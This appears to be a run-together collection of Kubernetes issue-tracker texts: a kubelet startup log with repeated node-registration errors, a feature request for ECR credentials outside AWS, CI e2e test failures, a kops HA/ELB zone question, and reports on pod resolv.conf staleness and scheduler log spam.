http request sent, awaiting response... 200 ok apr 27 13:51:24 k8s-node-frontend02.c.geofeedia-qa1.internal wget 2411 : length: 63204456  60m   application/octet-stream  apr 27 13:51:24 k8s-node-frontend02.c.geofeedia-qa1.internal wget 2411 : saving to: '/opt/bin/kubelet' apr 27 13:51:31 k8s-node-frontend02.c.geofeedia-qa1.internal systemd 1 : started kubernetes worker kubelet. apr 27 13:51:32 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.389951    2419 gce.go:269  using existing token source &oauth2.reusetokensource{new:google.computesource{account:\ \ }, mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  nil } apr 27 13:51:32 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.397949    2419 manager.go:132  cadvisor running in container: \ /system.slice/k8s-kubelet-node.service\  apr 27 13:51:32 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.597618    2419 fs.go:109  filesystem partitions: map /dev/sda9:{mountpoint:/ major:8 minor:9 fstype: blocksize:0} /dev/sda3:{mountpoint:/usr major:8 minor:3 fstype: blocksize:0} /dev/sda6:{mountpoint:/usr/share/oem major:8 minor:6 fstype: blocksize:0}  apr 27 13:51:32 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.604844    2419 manager.go:169  machine: {numcores:2 cpufrequency:2300000 memorycapacity:7848390656 machineid:73bf9d4ee4e7bf171b4b310e33bfaec5 systemuuid:73bf9d4e-e4e7-bf17-1b4b-310e33bfaec5 bootid:63d89deb-8ab0-4479-a884-7a4202f2bde8 filesystems: {device:/dev/sda3 capacity:1031946240 type:vfs inodes:260096} {device:/dev/sda6 capacity:113229824 type:vfs inodes:32768} {device:/dev/sda9 capacity:49536561152 type:vfs inodes:12444032}  diskmap:map 8:0:{name:sda major:8 minor:0 size:53687091200 scheduler:cfq}  networkdevices: {name:ens4v1 macaddress:42:01:0a:f0:00:1b speed:0 mtu:1460} {name:flannel.1 macaddress:ce:d1:6b:7c:d4:f4 speed:0 mtu:1410}  topology: {id:0 memory:7848390656 cores: {id:0 threads: 0 1  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:47185920 type:unified level:3} }  cloudprovider:gce instancetype:n1-standard-2 instanceid:6859253449092857240} apr 27 13:51:32 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.605729    2419 manager.go:175  version: {kernelversion:4.3.6-coreos containerosversion:coreos 899.15.0 dockerversion:1.9.1 cadvisorversion: cadvisorrevision:} apr 27 13:51:32 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.606557    2419 server.go:673  adding manifest file: /etc/kubernetes/manifests apr 27 13:51:32 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.606585    2419 server.go:683  watching apiserver apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : w0427 13:51:32.616305    2419 kubelet.go:508  hairpin mode set to \ promiscuous-bridge\  but configurecbr0 is false, falling back to \ hairpin-veth\  apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.616336    2419 kubelet.go:380  hairpin mode set to \ hairpin-veth\  apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.780091    2419 manager.go:212  setting dockerroot to /var/lib/docker apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.780114    2419 plugins.go:56  registering credential provider: .dockercfg apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.781711    2419 plugins.go:56  registering credential provider: google-dockercfg apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.782126    2419 plugins.go:56  registering credential provider: google-dockercfg-url apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.782602    2419 plugins.go:56  registering credential provider: google-container-registry apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.783182    2419 server.go:645  started kubelet apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.783296    2419 server.go:109  starting to listen on 0.0.0.0:10250 apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:32.784768    2419 kubelet.go:956  image garbage collection failed: unable to find data for container / apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.787014    2419 fs_resource_analyzer.go:66  starting fs resourceanalyzer apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.787033    2419 manager.go:123  starting to sync pod status with apiserver apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.787047    2419 kubelet.go:2356  starting kubelet main sync loop. apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.787081    2419 kubelet.go:2365  skipping pod synchronization -  container runtime is down  apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.890831    2419 kubelet.go:1086  adding node label from cloud provider: beta.kubernetes.io/instance-type=n1-standard-2 apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.890859    2419 kubelet.go:1097  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east1-c apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.890867    2419 kubelet.go:1101  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east1 apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:32.963377    2419 kubelet.go:1165  successfully registered node k8s-node-frontend02 apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:33.026945    2419 factory.go:233  registering docker factory apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:33.027970    2419 factory.go:97  registering raw factory apr 27 13:51:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:33.149832    2419 manager.go:1003  started watching for new ooms in manager apr 27 13:51:34 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:33.150628    2419 oomparser.go:182  oomparser using systemd apr 27 13:51:34 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:33.151328    2419 manager.go:256  starting recovery of all containers apr 27 13:51:34 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : w0427 13:51:33.268406    2419 container.go:341  failed to create summary reader for \ /system.slice/system-systemd\\\\x2dfsck.slice\ : none of the resources are being tracked. apr 27 13:51:34 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : w0427 13:51:33.268579    2419 container.go:341  failed to create summary reader for \ /system.slice/systemd-fsck-root.service\ : none of the resources are being tracked. apr 27 13:51:34 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:33.330031    2419 manager.go:261  recovery completed apr 27 13:51:34 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : w0427 13:51:34.028035    2419 handler.go:562  error while processing event  \ /sys/fs/cgroup/memory/system.slice/google-startup-scripts-onboot.service\ : 0x40000100 == in_create|in_isdir : open /sys/fs/cgroup/memory/system.slice/google-startup-scripts-onboot.service: no such file or directory apr 27 13:51:36 k8s-node-frontend02.c.geofeedia-qa1.internal wget 2411 : 2016-04-27 13:51:31  7.94 mb/s  - '/opt/bin/kubelet' saved  63204456/63204456  apr 27 13:51:37 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:37.787338    2419 kubelet.go:2307  error getting node: node 'k8s-node-frontend02' is not in cache apr 27 13:51:37 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:37.805531    2419 provider.go:91  refreshing cache for provider:  credentialprovider.defaultdockerconfigprovider apr 27 13:51:37 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:37.805690    2419 provider.go:91  refreshing cache for provider:  gcp_credentials.dockerconfigkeyprovider apr 27 13:51:37 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:37.806255    2419 metadata.go:112  while reading 'google-dockercfg' metadata: http status code: 404 while fetching url http://metadata.google.internal./computemetadata/v1/instance/attributes/google-dockercfg apr 27 13:51:37 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : i0427 13:51:37.806288    2419 provider.go:91  refreshing cache for provider:  gcp_credentials.dockerconfigurlkeyprovider apr 27 13:51:37 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:37.808140    2419 metadata.go:124  while reading 'google-dockercfg-url' metadata: http status code: 404 while fetching url http://metadata.google.internal./computemetadata/v1/instance/attributes/google-dockercfg-url apr 27 13:51:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:43.051937    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:43.053962    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:43.056111    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:43.058045    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:43.059951    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:43.059974    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:51:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:53.063171    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:53.065661    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:53.067878    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:53.070312    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:53.072629    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:51:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:53.072973    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:51:57 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:57.167157    2419 manager.go:2142  unable to inspect container \ 92e31e0538366113a635ffe41f7e6d13002143e561f6c92a525b143131e00b2d\ : no such container: 92e31e0538366113a635ffe41f7e6d13002143e561f6c92a525b143131e00b2d apr 27 13:51:58 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:58.175553    2419 kubelet.go:1753  deleting mirror pod \ kube-proxy-k8s-node-frontend02_kube-system 2982d110-0c7f-11e6-9646-42010af00011 \  because it is outdated apr 27 13:51:59 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:51:59.188811    2419 kubelet.go:1764  failed creating a mirror pod for \ kube-proxy-k8s-node-frontend02_kube-system 6083ce4c9a53c046497efe1a2016bc98 \ : pods \ kube-proxy-k8s-node-frontend02\  already exists apr 27 13:52:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:03.075980    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:03.078162    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:03.080114    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:03.082075    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:03.083955    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:03.083975    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:52:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:13.087771    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:13.089687    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:13.091532    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:13.093609    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:13.095561    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:13.095578    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:52:14 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:14.099410    2419 kubelet.go:1753  deleting mirror pod \ kube-proxy-k8s-node-frontend02_kube-system 35ab2144-0c7f-11e6-9646-42010af00011 \  because it is outdated apr 27 13:52:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:23.098751    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:23.100961    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:23.103064    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:23.105066    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:23.107012    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:23.107026    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:52:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:33.110975    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:33.113164    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:33.117205    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:33.119596    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:33.121681    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:33 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:33.121907    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:52:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:43.135107    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:43.137476    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:43.139530    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:43.141408    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:43.143529    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:43 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:43.143546    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:52:44 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:44.137711    2419 kubelet.go:1753  deleting mirror pod \ kube-proxy-k8s-node-frontend02_kube-system 3f2aa456-0c7f-11e6-9646-42010af00011 \  because it is outdated apr 27 13:52:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:53.146869    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:53.149270    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:53.151425    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:53.153497    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:53.155241    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:52:53 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:52:53.155256    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:53:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:03.158867    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:03.160778    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:03.162675    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:03.164527    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:03.166426    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:03 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:03.166441    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:53:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:13.170017    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:13.172148    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:13.174121    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:13.176253    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:13.178313    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:13 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:13.178330    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count apr 27 13:53:14 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:14.157389    2419 kubelet.go:1753  deleting mirror pod \ kube-proxy-k8s-node-frontend02_kube-system 51149c00-0c7f-11e6-9646-42010af00011 \  because it is outdated apr 27 13:53:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:23.182309    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:23.184271    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:23.186079    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:23.188134    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:23.189984    2419 kubelet.go:2745  error updating node status, will retry: error getting node \ k8s-node-frontend02\ : nodes \ k8s-node-frontend02\  not found apr 27 13:53:23 k8s-node-frontend02.c.geofeedia-qa1.internal bash 2419 : e0427 13:53:23.190000    2419 kubelet.go:1183  unable to update node status: update node status exceeds retry count

it would be nice to be able to enable the aws ecr credentials provider independent from setting the cloud-provider to \ aws\ .  we would like to enable developers to stand up their own instance of our cluster and services on their local machines to enable local integration testing.   our particular use-case is: 1. developer stands up local cluster inside docker, using  latest  images from ecr for all services 2. they do their development on service x 3. they do a local build of service x and push it to their local cluster for testing.  by enabling the ecr credentials plugin on their local cluster, the developers can quickly get a stack up and running without worrying about building or pulling down all the services that are necessary to run, but not ones they are currently working on.  there would be some obvious other use cases, too, such as consolidating an image registry for clusters deployed in multiple vendors, or using ecr for clusters not hosted in aws  i.e. in a cloud provider that doesn't provide a docker registry, or on a bare metal cluster .  i saw there is a  todo  about this in the ecr credentials plugin source, but could not find an issue for it. if this is a dupe  or covered elsewhere , please feel free to close it as such.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-kubenet/1331/  failed:  k8s.io  disruptioncontroller evictions: too few pods, replicaset, percentage => should not allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:178 creating replica set \ rs\  in namespace \ e2e-tests-disruption-z9gc1\  expected error:     < url.error | 0xc4211e1a70>: {         op: \ post\ ,         url: \ https://104.198.166.129/apis/extensions/v1beta1/namespaces/e2e-tests-disruption-z9gc1/replicasets\ ,         err: {op: \ remote error\ , net: \ \ , source: nil, addr: nil, err: 20},     }     post https://104.198.166.129/apis/extensions/v1beta1/namespaces/e2e-tests-disruption-z9gc1/replicasets: remote error: tls: bad record mac not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:284      previous issues for this test:  32668

hi guys,\r \r i need to enable ha for controller currently. i decided to use kops app and kubernetes version 1.4.3. \r currently i have 3 controllers  each in different az , however i need to have rest of stuff located only in one az, ie. zone c.\r \r in this situation leader election marked master from zone b as a leader and all requested elb's somehow need to be created in the same zone as elected master. in this situation, even i have free ip addresses in that subnet  zone b  it is not useful as all stuff is in different zone. \r \r is there a possibility to determine which subnet should be taken into consideration for elb creation?\r maybe elb should be created in the same zone as svc and pods connected to that service requested?\r is there any possibility to change manually leader ?\r \r thanks,\r adam

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/16/  failed:  k8s.io  inodeeviction  slow   serial   disruptive  when we run containers that should cause disk pressure due to inodes should eventually see disk pressure due to inodes, and then evict all of the correct pods {e2enode suite}      /var/lib/jenkins/workspace/ci-kubernetes-node-kubelet-serial/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/inode_eviction_test.go:206 normal-memory-usage-pod pod failed  and shouldn't have failed  expected     <v1.podphase>: failed not to equal     <v1.podphase>: failed /var/lib/jenkins/workspace/ci-kubernetes-node-kubelet-serial/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/inode_eviction_test.go:193

we currently compute the /etc/resolv.conf from the node once during pod startup.\r \r it may be the case that an external entity updates the resolution configuration for the node during the lifetime of the pod, and it is sensible to expect that the pod's configuration will be adjusted accordingly.

when scheduling a pod fails due to some unexpected error, scheduler logs are filled with huge aggregate error messages containing an error for each node causing issues for very large clusters. for example, see this truncated message that keeps appearing again and again:\r \r    \r  schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to 